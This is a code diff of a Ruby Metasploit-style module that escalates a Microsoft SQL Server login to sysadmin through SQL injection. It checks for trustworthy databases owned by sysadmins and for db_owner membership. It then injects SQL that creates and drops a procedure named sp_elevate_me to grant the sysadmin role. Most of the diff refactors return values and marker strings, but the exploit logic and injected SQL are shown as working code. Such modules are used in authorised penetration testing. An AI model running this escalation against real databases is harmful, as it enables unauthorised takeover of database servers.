@@ -44,7 +44,7 @@ def run
44
44
# Grab sysadmin status
45
45
print_status ( "Checking if #{ db_user } is already a sysadmin..." )
46
46
sysadmin_status = check_sysadmin
47
- if sysadmin_status == 1
47
+ if sysadmin_status == true
48
48
print_good ( "#{ db_user } is already a sysadmin, no esclation needed." )
49
49
return
50
50
else
@@ -54,7 +54,7 @@ def run
54
54
# Check for trusted databases owned by sysadmins
55
55
print_status ( "Checking for trusted databases owned by sysadmins..." )
56
56
trust_db_list = check_trust_dbs
57
- if trust_db_list . nil? || trust_db_list . length == 0
57
+ if ! trust_db_list || trust_db_list . length == 0
58
58
print_error ( 'No databases owned by sysadmin were found flagged as trustworthy.' )
59
59
return
60
60
else
@@ -74,7 +74,7 @@ def run
74
74
# Check if the user has the db_owner role in any of the databases
75
75
print_status ( "Checking if #{ db_user } has the db_owner role in any of them..." )
76
76
dbowner_status = check_db_owner ( trust_db_list )
77
- if dbowner_status . nil?
77
+ if ! dbowner_status
78
78
print_error ( "Fail buckets, the user doesn't have db_owner role anywhere." )
79
79
return
80
80
else
@@ -83,8 +83,9 @@ def run
83
83
84
84
# Attempt to escalate to sysadmin
85
85
print_status ( "Attempting to add #{ db_user } to sysadmin role..." )
86
- escalate_status = escalate_privs ( dbowner_status , db_user )
87
- if escalate_status == 1
86
+ escalate_privs ( dbowner_status , db_user )
87
+ sysadmin_status = check_sysadmin
88
+ if sysadmin_status == true
88
89
print_good ( "Success! #{ db_user } is now a sysadmin!" )
89
90
else
90
91
print_error ( "Fail buckets, something went wrong." )
@@ -120,12 +121,16 @@ def check_sysadmin
120
121
parsed_result = result . body . scan ( /EVILSQLISTART([^>]*)EVILSQLISTOP/ ) . last . first
121
122
122
123
# Return sysadmin status
123
- return parsed_result . to_i
124
+ if parsed_result . to_i == 1
125
+ return true
126
+ else
127
+ return false
128
+ end
124
129
end
125
130
126
131
def check_trust_dbs
127
132
# Setup query to check for trusted databases owned by sysadmins
128
- sql = "(select cast((SELECT 'EVILSQLISTART '+d.name+'EVILSQLISTOP ' as DbName
133
+ sql = "(select cast((SELECT 'EVILSTART '+d.name+'EVILSTOP ' as DbName
129
134
FROM sys.server_principals r
130
135
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
131
136
INNER JOIN sys.server_principals p ON
@@ -137,10 +142,7 @@ def check_trust_dbs
137
142
result = mssql_query ( sql )
138
143
139
144
#Parse results
140
- parsed_result = result . body . scan ( /EVILSQLISTART(.*?)EVILSQLISTOP/m )
141
-
142
- # Return sysadmin status
143
- return parsed_result
145
+ parsed_result = result . body . scan ( /EVILSTART(.*?)EVILSTOP/m )
144
146
end
145
147
146
148
def check_db_owner ( trust_db_list )
@@ -162,7 +164,6 @@ def check_db_owner(trust_db_list)
162
164
# Return sysadmin status
163
165
return parsed_result
164
166
end
165
- nil
166
167
end
167
168
168
169
# Attempt to escalate privileges
@@ -193,11 +194,5 @@ def escalate_privs(dbowner_db,db_user)
193
194
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
194
195
exec(@myevil3);--"
195
196
mssql_query ( evilsql_remove )
196
-
197
- # Check sysadmin status
198
- sysadmin_status = check_sysadmin
199
-
200
- # return parsed_result
201
- return sysadmin_status . to_i
202
197
end
203
198
end
0 commit comments